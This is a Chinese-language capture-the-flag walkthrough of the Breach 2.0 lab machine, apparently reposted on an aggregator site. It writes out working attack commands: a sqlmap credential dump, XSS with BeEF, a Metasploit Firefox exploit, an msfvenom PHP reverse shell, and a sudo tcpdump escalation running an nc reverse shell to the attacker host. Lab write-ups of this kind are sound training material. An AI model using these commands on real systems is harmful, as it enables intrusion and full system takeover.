Breach 2.0
Posted 曹振国cc
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Breach 2.0相关的知识,希望对你有一定的参考价值。
文章目录
一、靶场环境配置
靶机:
Breach-2.0 192.168.110.151 仅主机模式
攻击机:
Kali 192.168.110.5 仅主机模式
192.168.101.11 NAT模式
二、对目标进行信息收集
1.nmap端口探测
┌──(root💀xuegod)-[~/桌面]
└─# nmap -A 192.168.110.151 -p1-65535
发现靶场的ssh服务是在65535端口
2.连接ssh服务
┌──(root💀xuegod)-[~/桌面]
└─# ssh 192.168.110.151 -p 65535
因为翻译试了好几次弱密码都不行,后面突然发现这里:密码是
inthesource
使用peter账号连接
再次使用nmap扫描,发现多了一个80端口
访问80端口也并没发现什么
3.扫描目录
┌──(root💀xuegod)-[~/桌面]
└─# dirb http://192.168.110.151 发现有个blog目录
秉着见框就插的原则,在搜索框插入xss语句,发现插入的语句会传入get传参里,没有过滤
4.sql注入找到管理员的账号密码
┌──(root💀xuegod)-[~/桌面]
└─# sqlmap -u http://192.168.110.151/blog/index.php?search=111 -D oscommerce -Tosc_administrators --dump
账号:admin密码:admin 但没有找到登录窗口
5.通过关键字,漏洞库搜索payload
blogphp
该博客系统版本存在存储型XSS,在注册页面用户名的地方输入XSS攻击语句就可以成功攻击
三、使用beef+msfconsole拿shell
1.使用beef进行xss攻击
登录
成功上线,发现浏览器是Firefox15.0版本
Mozilla Firefox ESR 15内存破坏漏洞(CVE-2012-3982)可导致任意代码执行
2.使用msf生成对应的exp
msf6 > use exploit/multi/browser/firefox_proto_crmfrequest //进入要利用的exp框架
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set payload generic/shell_reverse_tcp //设置要利用exp所需要的payload
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set srvhost 192.168.110.5 //设置攻击机IP
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set uripath shell //设置exp攻击成功之后的url目录
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > set lhost 192.168.110.5 //设置payload的ip地址
3.使用beef+msf将浏览器链接进行重定向
使用beef的
Redirect Browser
模块,输入msf生成的url进行攻击
4.将shell转义到msfconsole
因为浏览器的shell会在建立后过5秒多就失效了,因此我们需要将shell转移的msf,获得一个稳定的shell
msf6 exploit(multi/browser/firefox_proto_crmfrequest) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 2
msf6 post(multi/manage/shell_to_meterpreter) > exploit
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 3
5.利用python调用本地shell实现交互式命令行
python -c 'import pty;pty.spawn("/bin/bash")'
四、后渗透
1.查看ssh配置文件
最开始连接ssh服务会直接断开连接,然后开启80断开
cat /etc/ssh/sshd_config
检测到peter登录会执行startme脚本
sudo的方式执行启动apache服务,之后就将数据丢弃
/dev/null
: 在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功),读取它则会立即得到一个EOF。
2.查看所开启的端口
peter@breach2:~$ netstat -ntulp
n --- 显示ip代替网络接口信息,显示出网络连接情况
t --- 显示TCP协议的链接状况
u --- 显示UDP协议的链接状况
p --- 显示链接程序的名称和PID
l --- 显示监听服务器的套接字
访问2323端口
peter@breach2:~$ telnet 127.0.0.1 2323
获得一个坐标进行查询
29 45'46" N 95 22'59" W
坐标是在一个公园 Houston Police Department Memorial
3.查看passwd文件里的用户名和密码
cat /etc/passwd
发现有`milton`和`blumbergh`两个用户
将
Houston
作为milton
和blumbergh
的密码进行尝试登录
是milton的密码,但是又在问这是谁的打印机
寻找关于账号milton的文件
find /usr -user milton
找到了问题答案是mine
4.登录milton账号进行渗透
5.查看端口,发现又启动了一个8888端口
访问发现多了两个网页
nginx默认首页没有利用价值
6.目录爆破找到了后台登录地址
利用之前从数据库里获得的账号密码登录
admin/admin
7.利用msf获取shell
在tools–>file manager–>includes–>work目录,有可写入权限
制作反弹shell
┌──(root💀xuegod)-[~/桌面]
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.5 LPORT=8888 -f raw > shell.php
开启msf监听
msf6 > use exploit/multi/handler //使用exp监听模块
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp //使用payload为之前生成后门所用的payload
msf6 exploit(multi/handler) > set lhost 192.168.110.5 //接收shell的ip
msf6 exploit(multi/handler) > set lport 8888 //监听端口
上传shell.php
在浏览器中访问shell.php,访问的url为:http://192.168.110.151:8888/oscommerce/includes/work/shell.php,访问之后,msf顺利接收到shell
五.提权
发现root不需要密码的命令为tcpdump
1.利用nc反弹shell
nc -lvnp 2021
在msf刚得到的shell中写入脚本
echo "nc 192.168.110.5 2021 -e /bin/bash"> /tmp/shell.sh //在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh //添加执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root //使用tcpdump命令
2.利用反弹shell读取flag
shell已经反弹到了nc监听界面,权限是root
利用ls-la找到了隐藏文件flag.py
运行flag.py文件结束这个靶机
以上是关于Breach 2.0的主要内容,如果未能解决你的问题,请参考以下文章